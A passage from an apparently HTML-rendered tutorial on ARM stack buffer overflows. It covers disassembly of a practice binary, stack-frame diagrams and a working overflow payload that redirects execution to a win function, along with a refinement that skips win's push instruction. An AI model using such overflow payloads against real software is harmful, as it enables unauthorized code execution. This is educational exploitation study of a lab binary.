&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10470&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x48]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10474&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x4c]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10478&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x44&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1047c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10480&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10484&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10488&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1048c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x44&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means that the buffer begins 0x44 bytes from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the begin of the stack frame.&lt;/p&gt;
&lt;p&gt;As we saw &lt;a href="/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-I.html"&gt;previously&lt;/a&gt;, the stack frame includes the &lt;em&gt;previous&lt;/em&gt; value of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but not &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that it is &lt;em&gt;immediately below&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;So a buffer overflow of 0x44 bytes will overwrite the stored &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and an overflow of 0x48 will overwrite &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we do the latter, the function &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will jump to our own code on &lt;em&gt;return&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSBsZWZ0IGRpYWdyYW0gc2hvd3MgdGhlIHN0YWNrIGZyb20gbG93ZXIKYWRkcmVzc2VzIChsZWZ0KSB0byBoaWdoZXIgYWRkcmVzc2VzIChyaWdodCkgYW5kIHRoZSBgbWFpbmB7LmNwcH0ncyBhbmQKYF9fbGliY19zdGFydF9tYWluYHsuY3BwfSdzIHN0YWNrIGZyYW1lcyAoYG1haW5gey5jcHB9IGFuZCBgc3RhcnRgey5jcHB9IGZvciBzaG9ydCkKIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSBsZWZ0IGRpYWdyYW0gc2hvd3MgdGhlIHN0YWNrIGZyb20gbG93ZXIKYWRkcmVzc2VzIChsZWZ0KSB0byBoaWdoZXIgYWRkcmVzc2VzIChyaWdodCkgYW5kIHRoZSBgbWFpbmB7LmNwcH0ncyBhbmQKYF9fbGliY19zdGFydF9tYWluYHsuY3BwfSdzIHN0YWNrIGZyYW1lcyAoYG1haW5gey5jcHB9IGFuZCBgc3RhcnRgey5jcHB9IGZvciBzaG9ydCkKIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The left diagram shows the stack from lower addresses (left) to higher addresses (right) and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;__libc_start_main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s stack frames (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for short)
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--------------&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="nf"&gt;.......&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are stored in the stack as well as an unknown local variables of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;__libc_start_main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When the overflow occurs this is the result:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---------------&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="nf"&gt;.......&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---------------&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="nf"&gt;AAAAAAA&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;BB&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;addr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;overflow&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;No more crazy stuff is needed here, we can jump to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;addr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1044c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) directly.&lt;/p&gt;
&lt;h2 id="exploit-level-1"&gt;Exploit level 1&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-ne&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x4c\x04\x01\x00&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack4
code&lt;span class="w"&gt; &lt;/span&gt;flow&lt;span class="w"&gt; &lt;/span&gt;successfully&lt;span class="w"&gt; &lt;/span&gt;changed
Segmentation&lt;span class="w"&gt; &lt;/span&gt;fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Yeah! but that segfault looks sloppy.&lt;/p&gt;
&lt;h2 id="a-more-polite-exploit"&gt;A more &lt;em&gt;polite&lt;/em&gt; exploit&lt;/h2&gt;
&lt;p&gt;Once &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; executes it will pop from the stack the stored &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and set it into &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We didn’t call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or similar so the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was never set correctly and the value pushed in the stack by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was garbage.&lt;/p&gt;
&lt;p&gt;When &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns will jump to who-knows-where.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---------------&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="nf"&gt;.......&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;win&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;----------------&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;-----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nf"&gt;BB&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;called&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="err"&gt;^&lt;/span&gt;
&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="nf"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And if we don’t jump to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; exactly?&lt;/p&gt;
&lt;p&gt;We could jump to the second instruction of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: we will be &lt;strong&gt;skipping&lt;/strong&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1044c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10450&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10454&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10458&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#puts@plt &amp;lt;puts@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1045c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In this way we can &lt;em&gt;emulate&lt;/em&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; adding 8 bytes to our payload.&lt;/p&gt;
